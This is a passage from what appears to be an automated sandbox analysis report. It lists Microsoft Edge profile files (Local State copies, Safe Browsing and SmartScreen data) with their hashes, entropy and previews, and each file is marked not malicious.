SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBMEwuF9hDO6vP6O+Btbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynEu6gtbz8hu3VlXr4CRo1
MD5:	06EBCD1F664E5319B99A21C278E45017
SHA1:	F89F85CC81BD3951047C6B471586B6EDFE3C4478
SHA-256:	3E9AEDC2761848D8E6AB7934A0C5BB28C85797164C31FDC946DFD09A6F937C88
SHA-512:	90BF771F09F8934582869F5AF3EB44E81B312A650FF79E27E0047560D57CB67DF3A86FD0FD121C1376D3EEF0EE18ED41443AC851E87EBFFAACC6134A93C7F2BF
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF35fe4.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.09076931819827
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBMEwuF9hDO6vP6O+Btbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynEu6gtbz8hu3VlXr4CRo1
MD5:	06EBCD1F664E5319B99A21C278E45017
SHA1:	F89F85CC81BD3951047C6B471586B6EDFE3C4478
SHA-256:	3E9AEDC2761848D8E6AB7934A0C5BB28C85797164C31FDC946DFD09A6F937C88
SHA-512:	90BF771F09F8934582869F5AF3EB44E81B312A650FF79E27E0047560D57CB67DF3A86FD0FD121C1376D3EEF0EE18ED41443AC851E87EBFFAACC6134A93C7F2BF
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF386c5.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.09076931819827
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBMEwuF9hDO6vP6O+Btbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynEu6gtbz8hu3VlXr4CRo1
MD5:	06EBCD1F664E5319B99A21C278E45017
SHA1:	F89F85CC81BD3951047C6B471586B6EDFE3C4478
SHA-256:	3E9AEDC2761848D8E6AB7934A0C5BB28C85797164C31FDC946DFD09A6F937C88
SHA-512:	90BF771F09F8934582869F5AF3EB44E81B312A650FF79E27E0047560D57CB67DF3A86FD0FD121C1376D3EEF0EE18ED41443AC851E87EBFFAACC6134A93C7F2BF
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF3b130.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.09076931819827
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBMEwuF9hDO6vP6O+Btbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynEu6gtbz8hu3VlXr4CRo1
MD5:	06EBCD1F664E5319B99A21C278E45017
SHA1:	F89F85CC81BD3951047C6B471586B6EDFE3C4478
SHA-256:	3E9AEDC2761848D8E6AB7934A0C5BB28C85797164C31FDC946DFD09A6F937C88
SHA-512:	90BF771F09F8934582869F5AF3EB44E81B312A650FF79E27E0047560D57CB67DF3A86FD0FD121C1376D3EEF0EE18ED41443AC851E87EBFFAACC6134A93C7F2BF
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF470f6.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.09076931819827
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBMEwuF9hDO6vP6O+Btbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynEu6gtbz8hu3VlXr4CRo1
MD5:	06EBCD1F664E5319B99A21C278E45017
SHA1:	F89F85CC81BD3951047C6B471586B6EDFE3C4478
SHA-256:	3E9AEDC2761848D8E6AB7934A0C5BB28C85797164C31FDC946DFD09A6F937C88
SHA-512:	90BF771F09F8934582869F5AF3EB44E81B312A650FF79E27E0047560D57CB67DF3A86FD0FD121C1376D3EEF0EE18ED41443AC851E87EBFFAACC6134A93C7F2BF
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF4cddb.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.09076931819827
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBMEwuF9hDO6vP6O+Btbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynEu6gtbz8hu3VlXr4CRo1
MD5:	06EBCD1F664E5319B99A21C278E45017
SHA1:	F89F85CC81BD3951047C6B471586B6EDFE3C4478
SHA-256:	3E9AEDC2761848D8E6AB7934A0C5BB28C85797164C31FDC946DFD09A6F937C88
SHA-512:	90BF771F09F8934582869F5AF3EB44E81B312A650FF79E27E0047560D57CB67DF3A86FD0FD121C1376D3EEF0EE18ED41443AC851E87EBFFAACC6134A93C7F2BF
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Nurturing\campaign_history

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 6, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 6
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6773696719930975
Encrypted:	false
SSDEEP:	12:TLpUAFUxOUDaabZXiDiIF8izX4fhhdWeci2oesJaYi3islRud6zcQAJmdngzQdoO:TLiOUOq0afDdWec9sJhOs3fsuZ7J5fc
MD5:	6FFCCB198DC6B17E165460E6E246B03C
SHA1:	014A46B0E6E84089E1C20FA232F54CA737D5F023
SHA-256:	D1B2EC8C9906C3418837FFB8E116AA59C026DE2D67B2AFDA956F14D0DC3851AF
SHA-512:	846AE3D0A49A14BF82203A0FEDAD6E794F7E68C22A40EE0E014FEA99DFC676FAE4AFEB2C56F324E4361E83A35458C63E2ABAA7B28B6D23B20FA29EF47CBE87B3
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Safe Browsing\ChromeExtMalware.store (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	2036049
Entropy (8bit):	4.001521120206933
Encrypted:	false
SSDEEP:	49152:cPofaNEMRzlPjTPWqhh+hiKH4JxA8QdLRSKj4oHDBZOb0JUpayy3JVIhw8Kb0aHG:E
MD5:	3C1CB2C58B8327B4F3BADCF546458F07
SHA1:	7199215CFD8F23BD7B358FAED11486ACFD7B4078
SHA-256:	C6DC15316FF3B3202CBD18FC1DBCA0847E697AE83BDA819AEE60EBE249E3BB26
SHA-512:	A4B5903E25DC5C92C38918A9C04E0814E4B978F0C81777CCA8F2B376D8B84B9919B64F50E1FB2A0C5DA4BCD9215E19707EEE77A7507A59240ECD7C2C994062CF
Malicious:	false
Preview:	........\| .*..\|.....\|. ...\|aaaaagfgdnjcdkncmfkfinnjaiapdblgaaaaaogokkamlflcoccdihncmbgcmflnaaaaaoipnhppjgickhnmdbgfbicakiamaaaaapdcjfaomkafnbpoclmfakjianjdaaaaapiecopgelmleoolpjapkgpglkcbaaaabcdhikdcpainmmjceakmkacogdkoaaaabdgnnajpalbdkkdnknbbbmndbilaaaaabfkbnfjnjldicllofdmjchdancccaaaabgphkbebbdbcibgbppdidkelfoigaaaabibhgjnbdelbcijfciclijhdkgohaaaabmldebjdieoplgdecloipkabiibcaaaaboojhahjgdjeknnemneiajjhhddiaaaabpccljmmhilhhndnjkobdedbpkjpaaaacmnkhlfjgehagffhnhdjfankefglaaaacnnimempmlomnnhdkimkfahjplfpaaaadbhonifkcheeddllhmpapnhcpgiaaaaadbkccgigjdmfmdhgikcckicldhjbaaaadbolalgmogecpogmlebfkpigmpdjaaaaehbfjkafkfgppkjageehakfakfbmaaaaehbppmedegafehiimempeifadcinaaaageoepbmnopkkfeadndbijdghellgaaaagfdmgcibcnlmgiipapnfocaocfneaaaagjojmcedjoignaljgmnihajfhhlpaaaaglldojfgdeaijnfefaggkfjekomeaaaaiihjniipljfegaknmbkneamnoajdaaaainjigbjlofcjekbnjnpiegecbnbaaaaaiognmpgbjoffachmpnnppfnokcbeaaaajcpbcbckoiafnblkdhnldokclbhiaaaajfoihhopfmnlhlnlhogjonmllocoaaaajhoimomebpcfopjpgkbbjdnldoihaaaakdafje

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Safe Browsing\ChromeExtMalware.store_new

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	2036049
Entropy (8bit):	4.001521120206933
Encrypted:	false
SSDEEP:	49152:cPofaNEMRzlPjTPWqhh+hiKH4JxA8QdLRSKj4oHDBZOb0JUpayy3JVIhw8Kb0aHG:E
MD5:	3C1CB2C58B8327B4F3BADCF546458F07
SHA1:	7199215CFD8F23BD7B358FAED11486ACFD7B4078
SHA-256:	C6DC15316FF3B3202CBD18FC1DBCA0847E697AE83BDA819AEE60EBE249E3BB26
SHA-512:	A4B5903E25DC5C92C38918A9C04E0814E4B978F0C81777CCA8F2B376D8B84B9919B64F50E1FB2A0C5DA4BCD9215E19707EEE77A7507A59240ECD7C2C994062CF
Malicious:	false
Preview:	........\| .*..\|.....\|. ...\|aaaaagfgdnjcdkncmfkfinnjaiapdblgaaaaaogokkamlflcoccdihncmbgcmflnaaaaaoipnhppjgickhnmdbgfbicakiamaaaaapdcjfaomkafnbpoclmfakjianjdaaaaapiecopgelmleoolpjapkgpglkcbaaaabcdhikdcpainmmjceakmkacogdkoaaaabdgnnajpalbdkkdnknbbbmndbilaaaaabfkbnfjnjldicllofdmjchdancccaaaabgphkbebbdbcibgbppdidkelfoigaaaabibhgjnbdelbcijfciclijhdkgohaaaabmldebjdieoplgdecloipkabiibcaaaaboojhahjgdjeknnemneiajjhhddiaaaabpccljmmhilhhndnjkobdedbpkjpaaaacmnkhlfjgehagffhnhdjfankefglaaaacnnimempmlomnnhdkimkfahjplfpaaaadbhonifkcheeddllhmpapnhcpgiaaaaadbkccgigjdmfmdhgikcckicldhjbaaaadbolalgmogecpogmlebfkpigmpdjaaaaehbfjkafkfgppkjageehakfakfbmaaaaehbppmedegafehiimempeifadcinaaaageoepbmnopkkfeadndbijdghellgaaaagfdmgcibcnlmgiipapnfocaocfneaaaagjojmcedjoignaljgmnihajfhhlpaaaaglldojfgdeaijnfefaggkfjekomeaaaaiihjniipljfegaknmbkneamnoajdaaaainjigbjlofcjekbnjnpiegecbnbaaaaaiognmpgbjoffachmpnnppfnokcbeaaaajcpbcbckoiafnblkdhnldokclbhiaaaajfoihhopfmnlhlnlhogjonmllocoaaaajhoimomebpcfopjpgkbbjdnldoihaaaakdafje

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\customSettings

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	47
Entropy (8bit):	4.3818353308528755
Encrypted:	false
SSDEEP:	3:2jRo6jhM6ceYcUtS2djIn:5I2uxUt5Mn
MD5:	48324111147DECC23AC222A361873FC5
SHA1:	0DF8B2267ABBDBD11C422D23338262E3131A4223
SHA-256:	D8D672F953E823063955BD9981532FC3453800C2E74C0CC3653D091088ABD3B3
SHA-512:	E3B5DB7BA5E4E3DE3741F53D91B6B61D6EB9ECC8F4C07B6AE1C2293517F331B716114BAB41D7935888A266F7EBDA6FABA90023EFFEC850A929986053853F1E02
Malicious:	false
Preview:	customSettings_F95BA787499AB4FA9EFFF472CE383A14

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\customSettings_F95BA787499AB4FA9EFFF472CE383A14

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	35
Entropy (8bit):	4.014438730983427
Encrypted:	false
SSDEEP:	3:YDMGA2ADH/AYKEqsYq:YQXT/bKE1F
MD5:	BB57A76019EADEDC27F04EB2FB1F1841
SHA1:	8B41A1B995D45B7A74A365B6B1F1F21F72F86760
SHA-256:	2BAE8302F9BD2D87AE26ACF692663DF1639B8E2068157451DA4773BD8BD30A2B
SHA-512:	A455D7F8E0BE9A27CFB7BE8FE0B0E722B35B4C8F206CAD99064473F15700023D5995CC2C4FAFDB8FBB50F0BAB3EC8B241E9A512C0766AAAE1A86C3472C589FFD
Malicious:	false
Preview:	{"forceServiceDetermination":false}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\edgeSettings

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	81
Entropy (8bit):	4.3439888556902035
Encrypted:	false
SSDEEP:	3:kDnaV6bVsFUIMf1HDOWg3djTHXoSWDSQ97P:kDYaoUIe1HDM3oskP
MD5:	177F4D75F4FEE84EF08C507C3476C0D2
SHA1:	08E17AEB4D4066AC034207420F1F73DD8BE3FAA0
SHA-256:	21EE7A30C2409E0041CDA6C04EEE72688EB92FE995DC94487FF93AD32BD8F849
SHA-512:	94FC142B3CC4844BF2C0A72BCE57363C554356C799F6E581AA3012E48375F02ABD820076A8C2902A3C6BE6AC4D8FA8D4F010D4FF261327E878AF5E5EE31038FB
Malicious:	false
Preview:	edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	130439
Entropy (8bit):	3.80180718117079
Encrypted:	false
SSDEEP:	1536:RlIyFAMrwvaGbyLWzDr6PDofI8vsUnPRLz+PMh:weWGP7Eh
MD5:	EB75CEFFE37E6DF9C171EE8380439EDA
SHA1:	F00119BA869133D64E4F7F0181161BD47968FA23
SHA-256:	48B11410DC937A1723BF4C5AD33ECDB286D8EC69544241BC373F753E64B396C1
SHA-512:	044C5113D877CE2E3B42CF07670620937ED7BE2D8B3BF2BAB085C43EF4F64598A7AC56328DDBBE7F0F3CFB9EA49D38CA332BB4ECBFEDBE24AE53B14334A30C8E
Malicious:	false
Preview:	{.. "geoidMaps": {.. "au": "https://australia.smartscreen.microsoft.com/",.. "ch": "https://switzerland.smartscreen.microsoft.com/",.. "eu": "https://europe.smartscreen.microsoft.com/",.. "ffl4": "https://unitedstates1.ss.wd.microsoft.us/",.. "ffl4mod": "https://unitedstates4.ss.wd.microsoft.us/",.. "ffl5": "https://unitedstates2.ss.wd.microsoft.us/",.. "in": "https://india.smartscreen.microsoft.com/",.. "test": "https://eu-9.smartscreen.microsoft.com/",.. "uk": "https://unitedkingdom.smartscreen.microsoft.com/",.. "us": "https://unitedstates.smartscreen.microsoft.com/",.. "gw_au": "https://australia.smartscreen.microsoft.com/",.. "gw_ch": "https://switzerland.smartscreen.microsoft.com/",.. "gw_eu": "https://europe.smartscreen.microsoft.com/",.. "gw_ffl4": "https://unitedstates1.ss.wd.microsoft.us/",.. "gw_ffl4mod": "https://unitedstates4.ss.wd.microsoft.us/",.. "gw_ffl5": "https://unitedstates2.ss.wd.microsoft.us/",.. "gw_in": "https

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\synchronousLookupUris

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.346439344671015
Encrypted:	false
SSDEEP:	3:kfKbUPVXXMVQX:kygV5
MD5:	6A3A60A3F78299444AACAA89710A64B6
SHA1:	2A052BF5CF54F980475085EEF459D94C3CE5EF55
SHA-256:	61597278D681774EFD8EB92F5836EB6362975A74CEF807CE548E50A7EC38E11F
SHA-512:	C5D0419869A43D712B29A5A11DC590690B5876D1D95C1F1380C2F773CA0CB07B173474EE16FE66A6AF633B04CC84E58924A62F00DCC171B2656D554864BF57A4
Malicious:	false
Preview:	synchronousLookupUris_638343870221005468

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\synchronousLookupUris_638343870221005468

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	57
Entropy (8bit):	4.556488479039065
Encrypted:	false
SSDEEP:	3:GSCIPPlzYxi21goD:bCWBYx99D
MD5:	3A05EAEA94307F8C57BAC69C3DF64E59
SHA1:	9B852B902B72B9D5F7B9158E306E1A2C5F6112C8
SHA-256:	A8EF112DF7DAD4B09AAA48C3E53272A2EEC139E86590FD80E2B7CBD23D14C09E
SHA-512:	6080AEF2339031FAFDCFB00D3179285E09B707A846FD2EA03921467DF5930B3F9C629D37400D625A8571B900BC46021047770BAC238F6BAC544B48FB3D522FB0
Malicious:	false
Preview:	9.......murmur3.............,M.h...Z...8.\..<&Li.H..[.?m

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	29
Entropy (8bit):	4.030394788231021
Encrypted:	false
SSDEEP:	3:0xXeZUSXkcVn:0Re5kcV
MD5:	52E2839549E67CE774547C9F07740500
SHA1:	B172E16D7756483DF0CA0A8D4F7640DD5D557201
SHA-256:	F81B7B9CE24F5A2B94182E817037B5F1089DC764BC7E55A9B0A6227A7E121F32
SHA-512:	D80E7351E4D83463255C002D3FDCE7E5274177C24C4C728D7B7932D0BE3EBCFEB68E1E65697ED5E162E1B423BB8CDFA0864981C4B466D6AD8B5E724D84B4203B
Malicious:	false
Preview:	topTraffic_638004170464094982

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic_170540185939602997400506234197983529371

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	575056
Entropy (8bit):	7.999649474060713
Encrypted:	true
SSDEEP:	12288:fXdhUG0PlM/EXEBQlbk19RrH76Im4u8C1jJodha:Ji80e9Rb7Tm4u8CnR
MD5:	BE5D1A12C1644421F877787F8E76642D
SHA1:	06C46A95B4BD5E145E015FA7E358A2D1AC52C809
SHA-256:	C1CE928FBEF4EF5A4207ABAFD9AB6382CC29D11DDECC215314B0522749EF6A5A
SHA-512:	FD5B100E2F192164B77F4140ADF6DE0322F34D7B6F0CF14AED91BACAB18BB8F195F161F7CF8FB10651122A598CE474AC4DC39EDF47B6A85C90C854C2A3170960
Malicious:	false
